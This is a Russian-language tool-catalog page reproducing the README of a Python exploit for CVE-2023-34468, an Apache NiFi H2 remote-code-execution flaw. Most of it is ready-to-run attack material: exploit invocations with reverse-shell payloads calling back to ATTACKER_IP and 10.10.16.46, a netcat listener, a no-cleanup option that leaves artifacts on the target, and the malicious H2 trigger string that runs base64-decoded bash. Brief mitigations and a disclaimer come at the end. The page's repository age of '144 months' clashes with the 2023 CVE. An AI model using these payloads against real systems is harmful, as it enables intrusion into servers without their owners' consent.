Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2023-34468 — CVE-2023-34468 - Apache NiFi H2 RCE PoC | Kitploit
Инструменты/GitHubGitHub/jeanpt/cve-2023-34468
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеОбучение и ОбразованиеРазработка Полезной Нагрузки
GitHubjeanpt/cve-2023-34468

CVE-2023-34468

CVE-2023-34468 - Apache NiFi H2 RCE PoC

Репозиторий
144 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Эксплойт CVE-2023-34468

GitHub stars GitHub license

Обзор

Этот репозиторий предоставляет инструмент-эксплойт на Python для CVE-2023-34468 — критической уязвимости удаленного выполнения кода (CVSS 9.8) в Apache NiFi версий с 0.0.2 по 1.21.0. Он позволяет аутентифицированным пользователям выполнять произвольный код путем манипуляции строками подключения к базе данных H2 со встроенными триггерами.

⚠️ Предупреждение: Только для образовательных целей и авторизованного тестирования. Несанкционированный доступ к компьютерным системам является незаконным.

Детали уязвимости

  • CVE ID: CVE-2023-34468
  • Затронутые версии: Apache NiFi 0.0.2–1.21.0
  • Воздействие: Удаленное выполнение кода (RCE)
  • Оценка CVSS: 9.8 (Критическая)
  • Дата обнаружения: 12 июня 2023 г.
  • Описание: Контроллеры сервисов DBCPConnectionPool и HikariCPConnectionPool позволяют пользователям настраивать URL базы данных с драйвером H2, который позволяет выполнять произвольный Java-код через функциональность CREATE TRIGGER H2. При инициализации соединения встроенный JavaScript-код выполняется с привилегиями NiFi.

Предварительные требования

  • Python 3.7+
  • Библиотека requests
Скачать инструмент
  • Сетевой доступ к API NiFi (стандартный порт 8080 или 8443)
  • Целевой экземпляр NiFi без аутентификации ИЛИ действительные учетные данные
  • Настройка слушателя для reverse shell (например, nc -lnvp 5555)
  • Быстрый старт

    Клонирование и установка

    root@kitploit:~
    git clone https://github.com/Jeanpt/CVE-2023-34468.git
    cd CVE-2023-34468
    pip install -r requirements.txt
    

    Неаутентифицированный NiFi (учетные данные не требуются)

    root@kitploit:~
    # Запустите ваш слушатель
    nc -lnvp 5555
    
    # Запустите эксплойт — аутентификация определяется автоматически, для открытых экземпляров флаги не нужны
    python3 exploit.py \
      -t http://nifi.target.com:8080 \
      -c "bash -i >& /dev/tcp/ATTACKER_IP/5555 0>&1" \
      -lh ATTACKER_IP \
      -lp 5555
    

    Аутентифицированный NiFi (имя пользователя/пароль)

    root@kitploit:~
    python3 exploit.py \
      -t https://nifi.target.com:8443 \
      -c "bash -i >& /dev/tcp/ATTACKER_IP/5555 0>&1" \
      -lh ATTACKER_IP \
      -lp 5555 \
      -u admin -p password123
    

    Аутентифицированный NiFi (bearer token)

    root@kitploit:~
    python3 exploit.py \
      -t https://nifi.target.com:8443 \
      -c "bash -i >& /dev/tcp/ATTACKER_IP/5555 0>&1" \
      -lh ATTACKER_IP \
      -lp 5555 \
      --token <your_bearer_token>
    

    Пропустить очистку (оставить артефакты на цели)

    root@kitploit:~
    python3 exploit.py -t http://target:8080 -c "..." -lh ATTACKER_IP -lp 5555 --no-cleanup
    

    Все опции

    root@kitploit:~
    python3 exploit.py --help
    
    КомандаОписание
    -t, --targetURL целевого экземпляра NiFi (обязательно)
    -c, --commandКоманда для выполнения (обязательно)
    -lh, --lhostХост слушателя для обратного вызова (обязательно)
    -lp, --lportПорт слушателя для обратного вызова (обязательно)
    -u, --usernameИмя пользователя NiFi (для аутентифицированных экземпляров)
    -p, --passwordПароль NiFi (для аутентифицированных экземпляров)
    --tokenBearer token (для аутентифицированных экземпляров)
    --no-cleanupПропустить очистку после эксплуатации
    --delayСекунд ожидания перед очисткой (по умолчанию: 10)
    --driver-pathПереопределить путь к jar-файлу драйвера H2 (по умолчанию опущен)

    Проверка: Проверьте ваш слушатель на наличие соединения reverse shell. Выполните id, чтобы подтвердить выполнение кода.

    Как это работает (Технические детали)

    Схема атаки

    1. Разведка: Определение версии NiFi через /nifi-api/system-diagnostics
    2. Создание DBCP-сервиса: POST вредоносной строки подключения H2 на /nifi-api/process-groups/root/controller-services
    3. Создание процессора: POST процессора ExecuteSQL в ту же группу процессов
    4. Настройка процессора: Привязка процессора к вредоносному DBCP-сервису
    5. Включение сервиса: PUT на /nifi-api/controller-services/{id}/run-status с состоянием ENABLED
    6. Запуск RCE: PUT на /nifi-api/processors/{id}/run-status с состоянием RUNNING — триггер H2 срабатывает при подключении

    Структура полезной нагрузки H2

    root@kitploit:~
    jdbc:h2:file:/tmp/{random_db}.db;TRACE_LEVEL_SYSTEM_OUT=0\;CREATE TRIGGER {random_name}
    BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript
    java.lang.Runtime.getRuntime().exec('bash -c {echo,BASE64_PAYLOAD}|{base64,-d}|{bash,-i}')
    $$--=x
    

    Ключевые моменты:

    • Экранирование точки с запятой обратной косой чертой: \;
    • JavaScript срабатывает на BEFORE SELECT ON INFORMATION_SCHEMA.TABLES (автоматический запуск)
    • Кодирование полезной нагрузки в Base64 для избежания проблем со спецсимволами
    • Символы равенства в заполнении заменяются пробелами для избежания проблем с парсингом H2

    Примеры полезных нагрузок

    Reverse Shell

    root@kitploit:~
    # Запуск эксплойта напрямую
    python3 exploit.py -t http://target:8080 -c "bash -i >& /dev/tcp/10.10.16.46/5555 0>&1" -lh 10.10.16.46 -lp 5555
    

    Выполнение команды

    root@kitploit:~
    python3 exploit.py -t http://target:8080 -c "touch /tmp/pwned" -lh 127.0.0.1 -lp 5555
    

    Меры по смягчению

    • Обновление: Обновитесь до Apache NiFi 1.22.0 или новее
    • Контроль доступа: Ограничьте доступ к API NiFi с помощью брандмауэра/WAF
    • Аутентификация: Включите и принудительно применяйте аутентификацию в NiFi
    • Мониторинг: Оповещайте о необычных конфигурациях контроллеров сервисов
    • Сегментация сети: Изолируйте NiFi от ненадежных сетей

    Ссылки

    • NVD - CVE-2023-34468
    • Apache NiFi Security Advisory
    • NIFI-11653 - Issue Tracker
    • Apache Mailing List Discussion

    Отказ от ответственности

    Этот инструмент предоставлен только для целей исследования безопасности и авторизованного тестирования. Автор не несет ответственности за неправильное использование или ущерб, причиненный данным эксплойтом. Всегда тестируйте ответственно только в авторизованных средах.

    Благодарности

    • Обнаружение: Matei "Mal" Badanoiu
    • Модуль Metasploit: h00die
    • POC на Python: Jean

    Лицензия

    Лицензия MIT — подробности в файле LICENSE


    Создано для исследований в области безопасности и авторизованного тестирования на проникновение.

    Topics: apache-nifi h2-database rce exploit cve-2023-34468 python security-research